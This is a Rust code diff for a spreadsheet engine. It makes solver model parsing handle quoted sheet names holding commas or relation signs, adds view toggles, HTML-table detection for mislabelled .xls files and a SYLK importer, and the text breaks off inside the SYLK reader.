-        if !one_area(&c.lhs_text) || !one_area(&c.rhs_text) {
+        // A number on the right side (`1,000`) is no range, whatever its separators.
+        if !one_area(&c.lhs_text) || (matches!(c.rhs, Rhs::Cells(_)) && !one_area(&c.rhs_text)) {
            return Err(EngineError::Other("Save Model needs each side of a constraint to be one range.".into()));
        }
        let lhs = abs_text(None, &c.lhs_text);
@@ -608,7 +629,7 @@ fn call_args(t: &str, name: &str) -> Option<String> {

 /// References without sheet names or `$`.
 fn local_refs(t: &str) -> String {
-    t.split(',').map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",")
+    split_areas(t).into_iter().map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",")
 }

 fn not_a_model() -> EngineError {
@@ -670,13 +691,13 @@ fn read_options_row(model: &mut Json, list: &str) -> Result<()> {
 /// One constraint row of Save Model (`AND(relation)`) as a `data.solver` constraint.
 fn read_constraint_row(t: String) -> Result<String> {
    let t = call_args(&t, "AND").unwrap_or(t);
-    if let Some((x, y)) = t.split_once("=INT(").or_else(|| t.split_once("=int(")) {
+    if let Some((x, y)) = split_unquoted(&t, "=INT(").or_else(|| split_unquoted(&t, "=int(")) {
        if y.strip_suffix(')') != Some(x) {
            return Err(not_a_model());
        }
        return Ok(format!("{} int", local_refs(x)));
    }
-    if let Some(x) = t.strip_prefix('(').and_then(|x| x.strip_suffix("=1)")).and_then(|x| x.split_once("=0)+(")).filter(|(a, b)| a == b) {
+    if let Some(x) = t.strip_prefix('(').and_then(|x| x.strip_suffix("=1)")).and_then(|x| split_unquoted(x, "=0)+(")).filter(|(a, b)| a == b) {
        return Ok(format!("{} bin", local_refs(x.0)));
    }
    let (l, rel, r) = split_constraint(&t).ok_or_else(not_a_model)?;
@@ -698,7 +719,7 @@ pub(super) fn parse_model_formulas(rows: &[String]) -> Result<Json> {
    } else if let Some(o) = call_args(&first, "MIN") {
        ("min", o, 0.0)
    } else {
-        let (o, v) = first.split_once('=').ok_or_else(not_a_model)?;
+        let (o, v) = split_unquoted(&first, "=").ok_or_else(not_a_model)?;
        ("value", o.to_string(), num_text(v).ok_or_else(not_a_model)?)
    };
    let variables = call_args(&body(rows.get(1).ok_or_else(not_a_model)?), "COUNT").ok_or_else(not_a_model)?;
@@ -1819,3 +1819,133 @@ fn hostile_models_are_refused_without_panicking() {
    let r = s.execute("data.solver", json!({"objective": "D1", "variables": "A1", "maxEvaluations": 1e300})).unwrap();
    assert_ne!(r["status"], "converged");
 }
+
+#[test]
+fn a_comma_inside_a_quoted_sheet_name_does_not_split_a_reference() {
+    // Wyndor Glass on sheets whose names hold a comma (and, for the second, a doubled quote),
+    // solved from Sheet1 with references that carry those names.
+    for (name, quoted) in [("Sales, West", "'Sales, West'"), ("O'Brien, Jr", "'O''Brien, Jr'")] {
+        let mut s = s();
+        s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
+        s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
+        set(&mut s, &[("A1", "0"), ("A2", "0"), ("B1", "=3*A1+5*A2"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2")]);
+        s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+        let r = s
+            .execute(
+                "data.solver",
+                json!({
+                    "objective": format!("{quoted}!$B$1"),
+                    "goal": "max",
+                    "variables": format!("{quoted}!$A$1,{quoted}!$A$2"),
+                    "constraints": [format!("{quoted}!$A$1 <= 4"), format!("{quoted}!$B$2 <= 12"), format!("{quoted}!$B$3 <= 18")],
+                    "method": "simplex",
+                }),
+            )
+            .unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(r["status"], "optimal", "{name}: {r}");
+        let sheet = &s.doc().unwrap().wb.sheets[1];
+        let v = |a: &str| sheet.value(CellRef::parse(a).unwrap()).as_f64().unwrap_or(f64::NAN);
+        assert!((v("A1") - 2.0).abs() < 1e-9 && (v("A2") - 6.0).abs() < 1e-9, "{name}");
+        assert!((v("B1") - 36.0).abs() < 1e-9, "{name}");
+        // The saved model keeps both variable cells, and loads back as the same model.
+        let model = super::saved_model(&s.doc().unwrap().wb, 1).unwrap_or_else(|| panic!("{name}: no saved model"));
+        assert_eq!(model["objective"], "B1", "{name}: {model}");
+        assert_eq!(model["variables"], "A1,A2", "{name}: {model}");
+        assert_eq!(model["constraints"][0], "A1 <= 4", "{name}: {model}");
+    }
+}
+
+#[test]
+fn a_relation_inside_a_quoted_sheet_name_does_not_split_a_constraint() {
+    // Wyndor Glass with a third, binary variable (Z = 37 at 2, 6, 1) on sheets whose names hold
+    // a relation, solved from Sheet1 with references that carry those names, under every
+    // relation. One name holds a doubled quote as well, and two the text that marks an integer
+    // or a binary constraint in a model written on cells.
+    for name in ["A<=B", "A>=B", "A=B", "Q1=<Q2", "x≤y", "O'Brien<=1", "n=INT(1", "n=0)+(1"] {
+        let q = gridcraft_core::quote_sheet(name);
+        let mut s = s();
+        s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
+        s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
+        set(&mut s, &[("A1", "0"), ("A2", "0"), ("A3", "0"), ("B1", "=3*A1+5*A2+A3"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2")]);
+        s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+        let constraints = [
+            format!("{q}!$A$1 <= 4"),
+            format!("{q}!$B$2 <= 12"),
+            format!("{q}!$B$3 <= 18"),
+            format!("{q}!$A$1 >= 1"),
+            format!("{q}!$A$1 = 2"),
+            format!("{q}!$A$1:$A$2 int"),
+            format!("{q}!$A$3 bin"),
+        ];
+        let model = json!({"objective": format!("{q}!$B$1"), "goal": "max", "variables": format!("{q}!$A$1:$A$3"), "constraints": constraints, "method": "simplex"});
+        let r = s.execute("data.solver", model).unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(r["status"], "optimal", "{name}: {r}");
+        assert!((at(&s, name, "B1").as_f64().unwrap_or(f64::NAN) - 37.0).abs() < 1e-9, "{name}");
+        // The saved model holds every constraint whole, and solves again from its sheet.
+        let saved = super::saved_model(&s.doc().unwrap().wb, 1).unwrap_or_else(|| panic!("{name}: no saved model"));
+        assert_eq!(saved["constraints"], json!(["A1 <= 4", "B2 <= 12", "B3 <= 18", "A1 >= 1", "A1 = 2", "A1:A2 int", "A3 bin"]), "{name}: {saved}");
+        s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
+        set(&mut s, &[("A1", "0"), ("A2", "0"), ("A3", "0")]);
+        let r = s.execute("data.solver", json!({"saved": true})).unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(r["status"], "optimal", "{name}: {r}");
+        assert!((n(&s, "B1") - 37.0).abs() < 1e-9, "{name}");
+        // An integer constraint is still one, so no Sensitivity report is offered.
+        let p = json!({"method": "simplex", "constraints": [format!("{q}!$A$1 int")]});
+        assert!(!super::sensitivity_applies(&p), "{name}");
+        // A model written on cells with references that carry the name loads whole, a Value Of
+        // goal included.
+        let rows = [
+            format!("=MAX({q}!$B$1)"),
+            format!("=COUNT({q}!$A$1:$A$3)"),
+            format!("=AND({q}!$B$3<=18)"),
+            format!("=AND({q}!$A$1:$A$2=INT({q}!$A$1:$A$2))"),
+            format!("=AND(({q}!$A$3=0)+({q}!$A$3=1))"),
+            "={2,1,100,0.075,0,1,0.0001,50,20000,0}".to_string(),
+        ];
+        for (k, f) in rows.iter().enumerate() {
+            set(&mut s, &[(&format!("H{}", k + 1), f)]);
+        }
+        let m = s.execute("data.solverLoadModel", json!({"from": "H1"})).unwrap_or_else(|e| panic!("{name}: {e}"))["model"].clone();
+        assert_eq!(m["objective"], "B1", "{name}: {m}");
+        assert_eq!(m["constraints"], json!(["B3 <= 18", "A1:A2 int", "A3 bin"]), "{name}: {m}");
+        set(&mut s, &[("J1", &format!("={q}!$B$1=37")), ("J2", &format!("=COUNT({q}!$A$1:$A$3)")), ("J3", &rows[5])]);
+        let m = s.execute("data.solverLoadModel", json!({"from": "J1"})).unwrap_or_else(|e| panic!("{name}: {e}"))["model"].clone();
+        assert_eq!((m["objective"].as_str(), m["goal"].as_str(), m["value"].as_f64()), (Some("B1"), Some("value"), Some(37.0)), "{name}: {m}");
+    }
+}
+
+#[test]
+fn save_model_counts_areas_outside_quoted_sheet_names() {
+    // Wyndor Glass on a sheet whose name holds a comma (and, for the second, a doubled quote),
+    // saved on cells with references that carry the name.
+    for name in ["Sales, West", "O'Brien, Jr"] {
+        let q = gridcraft_core::quote_sheet(name);
+        let mut s = s();
+        s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
+        s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
+        set(&mut s, &[("A1", "0"), ("A2", "0"), ("B1", "=3*A1+5*A2"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2"), ("C3", "18")]);
+        let constraints = [
+            format!("{q}!$A$1 <= 4"),
+            format!("{q}!$B$2 <= 12"),
+            format!("{q}!$B$3 <= {q}!$C$3"),
+            format!("{q}!$A$1:$A$2 int"),
+            // A number with a thousands separator is one value, not two areas.
+            format!("{q}!$B$1 <= 1,000"),
+        ];
+        let model = json!({"objective": format!("{q}!$B$1"), "variables": format!("{q}!$A$1:$A$2"), "constraints": constraints, "method": "simplex"});
+        let out = s.execute("data.solverSaveModel", json!({"to": "H1", "model": model})).unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(out["range"], "H1:H8", "{name}: {out}");
+        let rows: Vec<String> = (3..=7).map(|r| formula(&s, &format!("H{r}"))).collect();
+        assert_eq!(rows, ["AND($A$1<=4)", "AND($B$2<=12)", "AND($B$3<=$C$3)", "AND($A$1:$A$2=INT($A$1:$A$2))", "AND($B$1<=1000)"], "{name}");
+        // The model loads back from the cells and solves.
+        let loaded = s.execute("data.solverLoadModel", json!({"from": "H1"})).unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(loaded["model"]["constraints"], json!(["A1 <= 4", "B2 <= 12", "B3 <= C3", "A1:A2 int", "B1 <= 1000"]), "{name}: {loaded}");
+        let r = s.execute("data.solver", json!({"saved": true})).unwrap_or_else(|e| panic!("{name}: {e}"));
+        assert_eq!(r["status"], "optimal", "{name}: {r}");
+        assert!((n(&s, "B1") - 36.0).abs() < 1e-9, "{name}");
+        // A side of two areas, each carrying the name, is still refused.
+        let two = json!({"objective": format!("{q}!$B$1"), "variables": format!("{q}!$A$1:$A$2"), "constraints": [format!("{q}!$A$1:$A$2 <= {q}!$C$1,{q}!$C$2")]});
+        let e = s.execute("data.solverSaveModel", json!({"to": "J1", "model": two})).unwrap_err().to_string();
+        assert!(e.contains("one range"), "{name}: {e}");
+    }
+}
@@ -40,6 +40,27 @@ pub fn specs() -> Vec<CommandSpec> {
        cmd!("view.showZeros", "Show Zeros", [], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "zeros")),
        cmd!("view.showOutlineSymbols", "Show Outline Symbols", [], Some("Ctrl+8"), "{on?}", has_doc, |s, p| sheet_flag(s, p, "outlineSymbols")),
        cmd!("view.showObjects", "Show Objects", [], Some("Ctrl+6"), "{on?}", has_doc, show_objects),
+        cmd!(
+            "view.showSheetTabs",
+            "Show Sheet Tabs",
+            [],
+            None,
+            "{on?} (File › Options › Advanced, this workbook; toggles without `on`)",
+            has_doc,
+            |s, p| { workbook_view_flag(s, p, "sheetTabs") }
+        ),
+        cmd!(
+            "view.showHorizontalScrollBar",
+            "Show Horizontal Scroll Bar",
+            [],
+            None,
+            "{on?} (this workbook; toggles without `on`)",
+            has_doc,
+            |s, p| { workbook_view_flag(s, p, "horizontal") }
+        ),
+        cmd!("view.showVerticalScrollBar", "Show Vertical Scroll Bar", [], None, "{on?} (this workbook; toggles without `on`)", has_doc, |s, p| {
+            workbook_view_flag(s, p, "vertical")
+        }),
        cmd!("view.rightToLeft", "Sheet Right-to-Left", ["Page Layout", "Sheet Options"], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "rtl")),
        cmd!("view.zoom", "Zoom", ["View", "Zoom"], None, "{percent: 10..400}", has_doc, zoom),
        cmd!("view.zoom100", "100%", ["View", "Zoom"], None, "{}", has_doc, |s, _| zoom(s, &json!({"percent": 100}))),
@@ -189,6 +210,21 @@ fn sheet_flag(s: &mut Session, p: &Json, which: &str) -> Result<Json> {
    })
 }

+/// File › Options › Advanced › Display options for this workbook: the sheet tabs and the two
+/// scroll bars, saved with the workbook (`<workbookView showSheetTabs … />`).
+fn workbook_view_flag(s: &mut Session, p: &Json, which: &str) -> Result<Json> {
+    edit(s, |cx| {
+        let view = &mut cx.wb.view;
+        let slot = match which {
+            "sheetTabs" => &mut view.show_sheet_tabs,
+            "horizontal" => &mut view.show_horizontal_scroll,
+            _ => &mut view.show_vertical_scroll,
+        };
+        *slot = bool_param(p, "on").unwrap_or(!*slot);
+        Ok(json!({"on": *slot}))
+    })
+}
+
 /// Ctrl+6: hides every object, or shows them again. Placeholders (from a file) count as shown.
 fn show_objects(s: &mut Session, p: &Json) -> Result<Json> {
    use gridcraft_model::ShowObjects;
@@ -156,7 +156,9 @@ pub fn range_text(wb: &Workbook, sheet: usize, r: RangeRef) -> String {
            }
            first = false;
            let t = cell_text(wb, sh, CellRef::new(row, col));
-            if t.contains(['\t', '\n', '"']) {
+            // Like Excel, only text with a tab or line break is quoted (its quotes doubled);
+            // `say "hi"` is copied as it is (#2225).
+            if t.contains(['\t', '\n', '\r']) {
                out.push('"');
                out.push_str(&t.replace('"', "\"\""));
                out.push('"');
@@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result<
                    match (unit, d) {
                        ("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
                        ("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
-                        ("weekday", Some(_)) => {
-                            let mut n = v;
-                            let mut left = step.abs() as i64;
-                            while left > 0 {
-                                n += step.signum();
-                                let Some(day) = datetime_from_serial(sys, n) else {
-                                    return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into()));
-                                };
-                                if day.weekday != 0 && day.weekday != 6 {
-                                    left -= 1;
-                                }
-                            }
-                            n
-                        }
+                        // Whole weeks at a time: a huge step costs no more than a small one.
+                        ("weekday", Some(_)) => add_weekdays(sys, v, step as i64)
+                            .ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?,
                        _ => v + step,
                    }
                }
@@ -1,4 +1,4 @@
-//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, CSV/TSV, JSON (debug), HTML export.
+//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, SYLK import, CSV/TSV, JSON (debug), HTML export.

 use std::fmt::Write as _;

@@ -7,6 +7,8 @@ use gridcraft_model::{Sheet, Workbook};

 use crate::{EngineError, Result};

+mod sylk;
+
 /// File formats GridCraft reads or writes.
 #[derive(Clone, Copy, Debug, PartialEq, Eq)]
 pub enum FileKind {
@@ -19,6 +21,8 @@ pub enum FileKind {
    Tsv,
    Json,
    Html,
+    /// SYLK symbolic link text (import only).
+    Sylk,
 }

 impl FileKind {
@@ -33,6 +37,7 @@ impl FileKind {
            "tsv" | "tab" | "txt" => FileKind::Tsv,
            "json" | "scjson" => FileKind::Json,
            "html" | "htm" => FileKind::Html,
+            "slk" => FileKind::Sylk,
            _ => return None,
        })
    }
@@ -118,12 +123,13 @@ fn decrypt_message(name: &str, e: gridcraft_xlsx::DecryptError) -> String {
    }
 }

-/// Parses bytes that aren't encrypted, then takes the workbook's macros out of their hidden names
-/// and adopts the Python cells they hold (see [`adopt_python`]) within the limits of
-/// [`enforce_python_limits`].
+/// Parses bytes that aren't encrypted, then takes the workbook's macros, and the button actions
+/// xlsx has no place for, out of their hidden names, and adopts the Python cells they hold (see
+/// [`adopt_python`]) within the limits of [`enforce_python_limits`].
 fn open_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec<String>)> {
    let (mut wb, mut warnings) = read_plain(name, bytes, csv_as_text)?;
    warnings.extend(crate::macros::load(&mut wb));
+    crate::cmd::controls::load_action_names(&mut wb);
    warnings.extend(adopt_python(&mut wb));
    warnings.extend(enforce_python_limits(&mut wb));
    Ok((wb, warnings))
@@ -291,6 +297,9 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook,
        })?;
        return Ok((wb, report.warnings));
    }
+    if let Some(read) = read_html_table(name, kind, bytes, csv_as_text) {
+        return read;
+    }
    match kind {
        Some(FileKind::Json) => {
            let mut wb: Workbook = serde_json::from_slice(bytes).map_err(|e| EngineError::Other(format!("not a GridCraft JSON workbook: {e}")))?;
@@ -310,6 +319,11 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook,
            }
            Ok((wb, warnings))
        }
+        Some(FileKind::Sylk) => {
+            let (mut wb, warnings) = sylk::read(name, bytes)?;
+            rename_first_sheet(&mut wb, name);
+            Ok((wb, warnings))
+        }
        Some(FileKind::Tsv) => {
            let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() };
            let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?;
@@ -346,9 +360,112 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String {
    )
 }

+/// How much of a text file is read to tell whether it is a web page.
+const HTML_SNIFF_BYTES: usize = 64 << 10;
+
+/// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often
+/// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format
+/// and extension don't match): the cells read like typed input (or as text with `csv_as_text`),
+/// header cells (`<th>`) are bold and centred, and the sheet takes the name the page gives it
+/// (`<x:Name>`) or the file's. `None` when the bytes aren't such a page.
+fn read_html_table(name: &str, kind: Option<FileKind>, bytes: &[u8], csv_as_text: bool) -> Option<Result<(Workbook, Vec<String>)>> {
+    // Every other text file (CSV, TSV, JSON) passes through here: look at the start only, and decode
+    // the whole file once it is known to be a page within the size a text import takes.
+    if matches!(kind, Some(FileKind::Json)) || bytes.len() > gridcraft_xlsx::MAX_CSV_BYTES {
+        return None;
+    }
+    let start = gridcraft_xlsx::decode_text(bytes.get(..HTML_SNIFF_BYTES).unwrap_or(bytes));
+    // Comments an exporter writes before the page (`<!-- ... -->`) don't make it something else.
+    let mut rest = start.trim_start_matches('\u{feff}').trim_start();
+    while let Some(after) = rest.strip_prefix("<!--") {
+        match after.find("-->").and_then(|end| after.get(end + 3..)) {
+            Some(more) => rest = more.trim_start(),
+            None => break,
+        }
+    }
+    let head: String = rest.chars().take(16).collect::<String>().to_ascii_lowercase();
+    if !["<!doctype html", "<html", "<table", "<head", "<body", "<meta"].iter().any(|t| head.starts_with(t)) {
+        return None;
+    }
+    // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters.
+    let text = gridcraft_xlsx::decode_text(bytes);
+    let rows = crate::clip_html::table_cells(&text, gridcraft_core::MAX_ROWS as usize, gridcraft_core::MAX_COLS as usize);
+    if rows.iter().all(Vec::is_empty) {
+        return None;
+    }
+    // The cells go through the CSV reader, so numbers, dates and text read exactly as they do there.
+    let mut tsv = String::new();
+    for row in &rows {
+        let fields: Vec<String> = row
+            .iter()
+            .map(|cell| {
+                // The number the page recorded (`x:num`) only when values are read; as text, the
+                // cell keeps the text it shows.
+                let field = match cell.num.filter(|_| !csv_as_text) {
+                    Some(n) => gridcraft_core::number_to_text(n),
+                    // Whitespace is already collapsed; non-breaking spaces stay, as in Excel.
+                    None => cell.text.clone(),
+                };
+                if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field }
+            })
+            .collect();
+        tsv.push_str(&fields.join("\t"));
+        tsv.push('\n');
+    }
+    let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() };
+    let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string()));
+    Some(read.map(|(mut wb, report)| {
+        wb.csv_delimiter = None;
+        // Header cells are bold and centred on top of the style the CSV reader gave them, so a
+        // date in a header keeps its date format.
+        let headers: Vec<CellRef> = rows
+            .iter()
+            .enumerate()
+            .flat_map(|(r, row)| row.iter().enumerate().filter(|(_, cell)| cell.header && !cell.text.trim().is_empty()).map(move |(c, _)| CellRef::new(r as u32, c as u32)))
+            .collect();
+        let mut bold: std::collections::HashMap<gridcraft_model::StyleId, gridcraft_model::StyleId> = std::collections::HashMap::new();
+        for at in headers {
+            let Some(base) = wb.sheet(0).map(|sh| sh.style_id(at)) else { continue };
+            let id = *bold.entry(base).or_insert_with(|| {
+                wb.styles.derive(base, |st| {
+                    st.font.bold = true;
+                    st.align.h = gridcraft_model::HAlign::Center;
+                })
+            });
+            if let Some(sh) = wb.sheet_mut(0) {
+                sh.set_style(at, id);
+            }
+        }
+        let page_name = find_between(&text, "<x:Name>", "</x:Name>").map(|n| crate::clip_html::normalized(n.trim()));
+        match page_name.filter(|n| !n.is_empty()) {
+            Some(sheet) => set_first_sheet_name(&mut wb, &sheet),
+            None => rename_first_sheet(&mut wb, name),
+        }
+        let mut warnings = report.warnings;
+        if !matches!(kind, Some(FileKind::Html)) {
+            warnings.insert(0, format!("'{name}' is a web page (HTML), not a workbook in the format its name says: its table was opened as a sheet. Save as .xlsx to keep your changes."));
+        }
+        (wb, warnings)
+    }))
+}
+
+/// The text between the first `open` and the `close` after it, matched case-insensitively.
+fn find_between<'a>(text: &'a str, open: &str, close: &str) -> Option<&'a str> {
+    let lower = text.to_ascii_lowercase();
+    let start = lower.find(&open.to_ascii_lowercase())?.checked_add(open.len())?;
+    let len = lower.get(start..)?.find(&close.to_ascii_lowercase())?;
+    text.get(start..start.checked_add(len)?)
+}
+
 /// A CSV opens as a sheet named after the file (like Excel).
 fn rename_first_sheet(wb: &mut Workbook, path: &str) {
    let stem = std::path::Path::new(path).file_stem().and_then(std::ffi::OsStr::to_str).unwrap_or("Sheet1");
+    set_first_sheet_name(wb, stem);
+}
+
+/// Names the first sheet `name`, without the characters a sheet name can't hold and cut to 31
+/// characters; an empty or reserved result keeps the default name.
+fn set_first_sheet_name(wb: &mut Workbook, stem: &str) {
    let clean: String = stem.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect();
    let clean = clean.trim_matches('\'').to_string();
    // "History" is reserved (see `Workbook::check_sheet_name`): keep the default name instead.
@@ -377,9 +494,13 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result<Vec<u8
    match kind {
        // The extension picks the package kind; only the macro-enabled kinds (.xlsm, .xltm) carry
        // the VBA project, so any other name saves without it, as Excel does.
-        // Macros travel in hidden names.
+        // Macros, and button actions xlsx has no place for, travel in hidden names.
        FileKind::Xlsx => {
            let named = crate::macros::with_names(wb)?;
+            let named = match crate::cmd::controls::with_action_names(named.as_ref().unwrap_or(wb))? {
+                Some(w) => Some(w),
+                None => named,
+            };
            let book = std::path::Path::new(path).file_name().and_then(std::ffi::OsStr::to_str).unwrap_or_default();
            gridcraft_xlsx::write_xlsx_named(named.as_ref().unwrap_or(wb), gridcraft_xlsx::XlsxKind::from_path(path), book)
                .map_err(|e| EngineError::Other(e.to_string()))
@@ -389,6 +510,9 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result<Vec<u8
        }
        FileKind::Xlsb => Err(EngineError::Other("XLSB is supported for data import only. Save as .xlsx or another supported export format.".into())),
        FileKind::Ods => Err(EngineError::Other("ODS is supported for data import only. Save as .xlsx or another supported export format.".into())),
+        FileKind::Sylk => {
+            Err(EngineError::Other("SYLK (.slk) is supported for import only. Save as .xlsx or another supported export format.".into()))
+        }
        // A workbook read from CSV keeps the separator it was read with (a `;` file stays `;`).
        FileKind::Csv => wb.sheet(sheet).map(|sh| csv(wb, sh, wb.csv_delimiter.unwrap_or(b','))).transpose().map(Option::unwrap_or_default),
        FileKind::Tsv => wb.sheet(sheet).map(|sh| csv(wb, sh, b'\t')).transpose().map(Option::unwrap_or_default),
@@ -0,0 +1,328 @@
+//! SYLK (`.slk`) import: the symbolic link text format older spreadsheets and some legacy systems
+//! export. One record per line, fields separated by `;` (`;;` is a literal semicolon):
+//!
+//! - `ID` starts the file; `E` ends it.
+//! - `C;Y<row>;X<col>;K<value>;E<formula>` is a cell. `Y` and `X` may be left out to stay on the
+//!   current row or column. `K` is a number, `"text"`, `TRUE`/`FALSE` or an error; `E` is a
+//!   formula in R1C1 notation; `S;R<row>;C<col>` shares the formula of another cell.
+//! - `P;P<code>` adds a number format to the file's list; `F;P<n>;Y<row>;X<col>` gives a cell the
+//!   n-th format (0-based), and `F;W<first> <last> <width>` sets column widths in characters.
+//!
+//! Other records (fonts, options, window settings) are skipped. Formulas are converted to A1 with
+//! the same relative and absolute references, as Excel does when it opens the file.
+
+use std::collections::HashMap;
+use std::sync::Arc;
+
+use gridcraft_core::{CellError, CellRef, MAX_COLS, MAX_ROWS, Value, col_to_letters};
+use gridcraft_model::{Cell, Formula, NumFmt, Sheet, Style, Workbook};
+
+use crate::{EngineError, Result};
+
+/// The largest SYLK file read, as for other text imports: past it the file is refused.
+const MAX_BYTES: usize = 512 << 20;
+/// Column-width records kept from one file; each can cover every column.
+const MAX_WIDTH_RECORDS: usize = 1024;
+
+/// Reads a SYLK file into a one-sheet workbook. Returns the workbook and its warnings.
+pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec<String>)> {
+    if bytes.len() > MAX_BYTES {
+        return Err(EngineError::Other(format!("We can't open '{name}': the SYLK file is larger than {} MB.", MAX_BYTES >> 20)));
+    }
+    let text = match std::str::from_utf8(bytes) {
+        Ok(s) => s.to_string(),
+        // Older exports are in a single-byte code page: keep each byte as its Latin-1 character.
+        Err(_) => bytes.iter().map(|&b| char::from(b)).collect(),
+    };
+    let text = text.strip_prefix('\u{feff}').unwrap_or(&text);
+    if !text.starts_with("ID") {
+        return Err(EngineError::Other(format!("We can't open '{name}': it isn't a SYLK file (it doesn't start with an ID record).")));
+    }
+    let mut sheet = Sheet::new("Sheet1");
+    let mut formats: Vec<String> = Vec::new();
+    // Cells' number formats by index into `formats`, applied once every format is known.
+    let mut cell_formats: Vec<(CellRef, usize)> = Vec::new();
+    let mut formulas: HashMap<CellRef, String> = HashMap::new();
+    let mut widths: Vec<(u32, u32, f64)> = Vec::new();
+    let (mut row, mut col) = (0u32, 0u32);
+    let mut skipped = 0usize;
+    for line in text.lines() {
+        let fields = split_fields(line);
+        let Some((kind, rest)) = fields.split_first() else { continue };
+        match kind.as_str() {
+            "C" => {
+                let (mut value, mut formula, mut shared) = (None, None, None::<(Option<u32>, Option<u32>)>);
+                let mut bad = false;
+                for f in rest {
+                    let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8));
+                    match tag {
+                        "Y" => match position(arg, MAX_ROWS) {
+                            Some(r) => row = r,
+                            None => bad = true,
+                        },
+                        "X" => match position(arg, MAX_COLS) {
+                            Some(c) => col = c,
+                            None => bad = true,
+                        },
+                        "K" => value = Some(parse_value(arg)),
+                        "E" => formula = Some(arg.to_string()),
+                        "S" => shared = Some((None, None)),
+                        // In a shared-formula cell, R and C name the cell whose formula it shares.
+                        "R" if shared.is_some() => shared = shared.map(|(_, c)| (position(arg, MAX_ROWS), c)),
+                        "C" if shared.is_some() => shared = shared.map(|(r, _)| (r, position(arg, MAX_COLS))),
+                        _ => {}
+                    }
+                }
+                if bad {
+                    skipped += 1;
+                    continue;
+                }
+                let at = CellRef::new(row, col);
+                if let Some((Some(r), Some(c))) = shared {
+                    formula = formulas.get(&CellRef::new(r, c)).cloned();
+                }
+                let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty));
+                if let Some(v) = value {
+                    cell.value = v;
+                }
+                if let Some(r1c1) = formula {
+                    let a1 = r1c1_formula_to_a1(&r1c1, at);
+                    let f = Formula::new(&a1);
+                    if f.expr.is_some() {
+                        cell.formula = Some(Arc::new(f));
+                        formulas.insert(at, r1c1);
+                    } else {
+                        skipped += 1;
+                    }
+                }
+                sheet.set_cell(at, cell);
+            }
+            "F" => {
+                let mut format = None;
+                for f in rest {
+                    let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8));
+                    match tag {
+                        "Y" => row = position(arg, MAX_ROWS).unwrap_or(row),
+                        "X" => col = position(arg, MAX_COLS).unwrap_or(col),
+                        "P" => format = arg.parse::<usize>().ok(),
+                        "W" => {
+                            let mut parts = arg.split_whitespace();
+                            if let (Some(first), Some(last), Some(width)) = (parts.next(), parts.next(), parts.next())
+                                && let (Some(first), Some(last), Ok(width)) =
+                                    (position(first, MAX_COLS), position(last, MAX_COLS), width.parse::<f64>())
+                                && first <= last
+                                && (0.0..=255.0).contains(&width)
+                                // A file of width records can't make the import loop over every column
+                                // again and again.
+                                && widths.len() < MAX_WIDTH_RECORDS
+                            {
+                                widths.push((first, last, width));
+                            }
+                        }
+                        _ => {}
+                    }
+                }
+                if let Some(format) = format {
+                    cell_formats.push((CellRef::new(row, col), format));
+                }
+            }
+            // Number formats only: `P;F…` and `P;E…` are fonts.
+            "P" => {
+                if let Some(code) = rest.first().and_then(|f| f.strip_prefix('P')) {
+                    formats.push(code.to_string());
+                }
+            }
+            "E" => break,
+            _ => {}
+        }
+    }
+    for (first, last, width) in widths {
+        let size = crate::cmd::format::chars_to_points(width) as f32;
+        for c in first..=last {
